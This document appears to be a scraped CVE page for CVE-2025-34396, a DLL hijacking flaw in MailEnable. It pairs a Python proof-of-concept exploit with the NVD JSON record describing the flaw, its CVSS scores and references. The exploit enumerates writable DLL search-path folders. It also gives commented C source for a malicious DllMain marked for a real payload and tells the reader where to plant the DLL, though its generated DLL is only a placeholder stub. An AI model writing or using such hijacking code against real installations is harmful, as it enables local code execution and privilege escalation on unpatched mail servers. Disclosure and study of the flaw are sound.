CVE-2025-34396

#!/usr/bin/env python3 # CVE-2025-34396 PoC - MailEnable DLL Hijacking # Generate malicious MEAINFY.DLL for DLL hijacking attack # This PoC demonstrates the vulnerability - for educational purposes only import struct import os def create_malicious_dll(dll_path): """ Create a basic DLL that will execute calc.exe when loaded This demonstrates arbitrary code execution via DLL hijacking """ # DLL written in C for compilation: # #include <windows.h> # BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { # if (fdwReason == DLL_PROCESS_ATTACH) { # WinExec("calc.exe", SW_SHOW); // Replace with malicious payload # } # return TRUE; # } # For demonstration, create a placeholder DLL structure # In real attack, compile actual malicious DLL dll_content = b'MZ' + b'\x90' * 58 + struct.pack('<I', 0x00001000) # PE signature placeholder print(f"[+] Creating malicious DLL at: {dll_path}") print("[+] DLL will execute arbitrary code when MailEnable admin tool is launched") print("[+] Compile actual DLL with malicious payload for production use") # Note: This is a template - actual DLL requires proper PE structure return dll_content def check_vulnerable_paths(): """ Enumerate potential DLL hijacking locations """ common_paths = [ r"C:\Program Files\MailEnable\bin", r"C:\Program Files (x86)\MailEnable\bin", r"C:\MailEnable\bin", os.environ.get('SYSTEMROOT', 'C:\\Windows') + r"\System32", ] print("\n[*] Checking for writable directories in DLL search path:") for path in common_paths: if os.path.exists(path): writable = os.access(path, os.W_OK) status = "WRITABLE" if writable else "Not writable" print(f" {path}: {status}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-34396 - MailEnable DLL Hijacking PoC") print("=" * 60) check_vulnerable_paths() dll_path = "./MEAINFY.DLL" create_malicious_dll(dll_path) print("\n[!] Place the generated DLL in a writable directory in DLL search path") print("[!] When MailEnable admin tool runs, the malicious DLL will be loaded")

{"cve": {"id": "CVE-2025-34396", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:49.770", "lastModified": "2025-12-10T19:05:04.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain an unsafe DLL loading vulnerability that can lead to local arbitrary code execution. The MailEnable administrative executable attempts to load MEAINFY.DLL from its application directo without sufficient integrity validation or secure search order. If the DLL is missing or attacker-writable locations in the search path are used, a local attacker with write permissions to the directory can plant a malicious MEAINFY.DLL. When the executable is launched, it loads the attacker-controlled library and executes code with the privileges of the process, enabling local privilege escalation when run with elevated rights."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-dll-hijacking-via-unsafe-loading-of-meainfy-dll", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}